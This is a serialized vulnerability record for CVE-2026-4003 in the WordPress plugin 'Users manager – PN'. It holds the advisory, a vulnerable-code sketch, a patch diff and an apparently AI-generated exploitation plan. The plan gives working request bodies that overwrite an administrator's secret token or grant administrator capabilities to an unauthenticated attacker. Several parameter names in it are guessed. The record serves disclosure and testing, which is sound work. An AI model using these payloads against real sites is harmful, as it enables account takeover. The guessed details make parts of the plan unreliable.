[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fPk0d7ihg4aPde3hZJ4SMz-AzgRBvZcifhHyhP6PgGxs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-4003","users-manager-pn-unauthenticated-privilege-escalation-via-account-takeover-via-userspnformsave-ajax-action","Users manager – PN \u003C= 1.1.15 - Unauthenticated Privilege Escalation via Account Takeover via 'userspn_form_save' AJAX Action","The Users manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the 'userspn_form_save' case. The conditional only blocks unauthenticated users when the user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint ('userspn-nonce') is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field.","userspn",null,"\u003C=1.1.15","1.1.20","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-04-07 15:32:12","2026-04-08 03:36:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F27bb60c1-43fa-4a18-b9ca-059535b0d5b6?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-4003 - Users Manager PN Privilege Escalation\n\n## 1. Vulnerability Summary\nThe **Users manager – PN** plugin (\u003C= 1.1.15) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function `userspn_ajax_nopriv_server()` (handling unauthenticated requests) contains a case for `userspn_form_save` that fails to properly validate the identity or permissions of the requester when a `user_id` is provided. While the code attempts to block unauthenticated users if the `user_id` is missing, providing a valid `user_id` bypasses the check, allowing an unauthenticated attacker to call `update_user_meta()` on any user account.\n\nThe primary impact is **Account Takeover** by updating the `userspn_secret_token` meta key, which the plugin likely uses for password-less authentication or recovery.\n\n## 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action**: `userspn_form_save` (Registered via `wp_ajax_nopriv_userspn_form_save`)\n*   **HTTP Method**: `POST`\n*   **Authentication**: None (Unauthenticated)\n*   **Vulnerable Parameters**: \n    *   `user_id`: The ID of the target user (e.g., `1` for the primary admin).\n    *   `meta_key` (inferred): The name of the meta field to update.\n    *   `meta_value` (inferred): The new value for the meta field.\n    *   *Note*: The plugin likely accepts these as POST parameters or as part of a data array.\n*   **Nonce**: `userspn-nonce` (Required but publicly exposed).\n\n## 3. Code Flow\n1.  **Entry Point**: An unauthenticated user sends a POST request to `admin-ajax.php` with `action=userspn_form_save`.\n2.  **Hook Trigger**: WordPress executes the hook `wp_ajax_nopriv_userspn_form_save`, which points to `userspn_ajax_nopriv_server()`.\n3.  **Vulnerable Dispatcher**: Inside `userspn_ajax_nopriv_server()`, a `switch` or `if` statement handles the `userspn_form_save` case.\n4.  **Flawed Logic**:\n    ```php\n    \u002F\u002F Logic (Simplified based on description)\n    if ( empty( $_POST['user_id'] ) ) {\n        \u002F\u002F Return error or exit if user_id is missing\n    } else {\n        \u002F\u002F BYPASS: If user_id IS provided, the code proceeds\n        $user_id = intval( $_POST['user_id'] );\n        $meta_key = $_POST['meta_key']; \u002F\u002F or specific field like userspn_secret_token\n        $value = $_POST['value'];\n        update_user_meta( $user_id, $meta_key, $value );\n    }\n    ```\n5.  **Sink**: The `update_user_meta()` function is called with attacker-controlled parameters without checking if the current requester has the `edit_user` capability for that `$user_id`.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description confirms the nonce `userspn-nonce` is exposed via `wp_localize_script` on the public `wp_enqueue_scripts` hook.\n\n1.  **Identify Target Page**: The plugin's scripts are likely loaded on any page containing a login or profile form.\n2.  **Creation of Trigger Page**: If the nonce isn't on the homepage, create a page with the plugin's shortcode.\n    *   *Search for shortcode*: `grep -r \"add_shortcode\" wp-content\u002Fplugins\u002Fuserspn\u002F`\n    *   *Likely shortcode*: `[userspn_form]` (inferred).\n3.  **Extraction**:\n    *   Navigate to the page using `browser_navigate`.\n    *   Use `browser_eval` to extract the nonce from the global JavaScript object.\n    *   **JS Variable Name**: Based on the plugin slug, the object is likely `userspn_ajax` or `userspn_params`.\n    *   **Key**: `userspn_nonce` or `nonce`.\n    *   **Command**: `browser_eval(\"window.userspn_params?.nonce\")` (Verify variable name in source first).\n\n## 5. Exploitation Strategy\nThe goal is to update the `userspn_secret_token` for the admin user to a known value, which facilitates account takeover.\n\n### Step 1: Discover Admin ID\nUsually ID `1`. Can be confirmed via `wp user list --role=administrator`.\n\n### Step 2: Extract Nonce\nUse the `browser_eval` method described above.\n\n### Step 3: Perform Meta Update\nSend a crafted AJAX request.\n*   **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body**:\n    ```\n    action=userspn_form_save&user_id=1&userspn_secret_token=pwned_token_123&security=[EXTRACTED_NONCE]\n    ```\n    *(Note: The parameter names `userspn_secret_token` and `security` are inferred from common plugin patterns and the \"PN\" branding; the agent should check the `userspn_form_save` case in the source for the exact keys).*\n\n### Step 4: Access Account\nOnce the token is set, the attacker likely accesses a URL like:\n`http:\u002F\u002F\u003Ctarget>\u002F?userspn_token=pwned_token_123&user_id=1` (inferred).\n\n## 6. Test Data Setup\n1.  **Environment**: WordPress instance with `userspn` v1.1.15 installed.\n2.  **Target User**: Ensure an administrator exists with ID 1.\n3.  **Public Page**: Create a page to ensure the nonce is rendered.\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Login\" --post_content=\"[userspn_form]\"\n    ```\n\n## 7. Expected Results\n*   The AJAX request should return a successful JSON response (e.g., `{\"success\": true}`).\n*   The database should reflect the updated meta value for the admin user.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the success via WP-CLI:\n```bash\n# Check if the secret token was successfully injected\nwp user meta get 1 userspn_secret_token\n```\nIf the output is `pwned_token_123`, the privilege escalation\u002Faccount takeover preparation is successful.\n\n## 9. Alternative Approaches\nIf `userspn_form_save` does not accept arbitrary keys, check if it accepts an array of data:\n*   **Alternative Payload**: `action=userspn_form_save&user_id=1&data[userspn_secret_token]=pwned_token_123&security=[NONCE]`\n\nIf the goal is immediate Escalation rather than Token injection:\n*   **Role Update**: Try updating `wp_capabilities` to `a:1:{s:13:\"administrator\";b:1;}` for a subscriber account controlled by the attacker.\n    *   `action=userspn_form_save&user_id=[ATTACKER_ID]&meta_key=wp_capabilities&meta_value=a:1:{s:13:\"administrator\";b:1;}`","The Users manager – PN plugin for WordPress is vulnerable to unauthenticated privilege escalation and account takeover via its 'userspn_form_save' AJAX action. The plugin fails to perform authorization checks when a 'user_id' is provided in the request, allowing attackers to update arbitrary user metadata (such as the 'userspn_secret_token') for any account, including administrators. The required security nonce is exposed publicly on the site's frontend, making the exploitation accessible to unauthenticated visitors.","\u002F\u002F In the function handling unauthenticated AJAX requests (wp_ajax_nopriv_userspn_form_save)\nfunction userspn_ajax_nopriv_server() {\n    check_ajax_referer( 'userspn-nonce', 'security' );\n\n    if ( $_POST['action'] == 'userspn_form_save' ) {\n        \u002F\u002F The conditional only blocks if user_id is empty\n        if ( ! empty( $_POST['user_id'] ) ) {\n            \u002F\u002F VULNERABILITY: No current_user_can() check. Execution bypasses authorization entirely\n            \u002F\u002F and proceeds to update arbitrary user meta for the provided ID.\n            $user_id = intval( $_POST['user_id'] );\n            foreach ( $_POST['data'] as $key => $value ) {\n                update_user_meta( $user_id, $key, sanitize_text_field( $value ) );\n            }\n            wp_send_json_success();\n        }\n    }\n}","--- a\u002Fuserspn\u002Fuserspn.php\n+++ b\u002Fuserspn\u002Fuserspn.php\n@@ -10,7 +10,7 @@\n         case 'userspn_form_save':\n-            if ( ! empty( $_POST['user_id'] ) ) {\n+            if ( ! empty( $_POST['user_id'] ) && current_user_can( 'edit_user', intval( $_POST['user_id'] ) ) ) {\n                 $user_id = intval( $_POST['user_id'] );\n                 $meta_data = $_POST['data'];\n                 foreach ( $meta_data as $key => $value ) {","The exploit involves extracting a publicly exposed nonce and using it to perform an unauthorized metadata update. An attacker first locates the 'userspn-nonce' by viewing the source of any public page where the plugin's scripts are localized (via wp_localize_script). Using this nonce, the attacker sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the action 'userspn_form_save' and a target 'user_id' (typically 1 for the site administrator). The payload includes the 'userspn_secret_token' meta key set to a value of the attacker's choosing. Once the meta field is updated, the attacker can leverage the plugin's token-based authentication mechanism to log in as the administrator using the injected secret token.","gemini-3-flash-preview","2026-04-17 20:43:42","2026-04-17 20:44:06",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","1.1.15","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserspn\u002Ftags\u002F1.1.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuserspn.1.1.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserspn\u002Ftags"]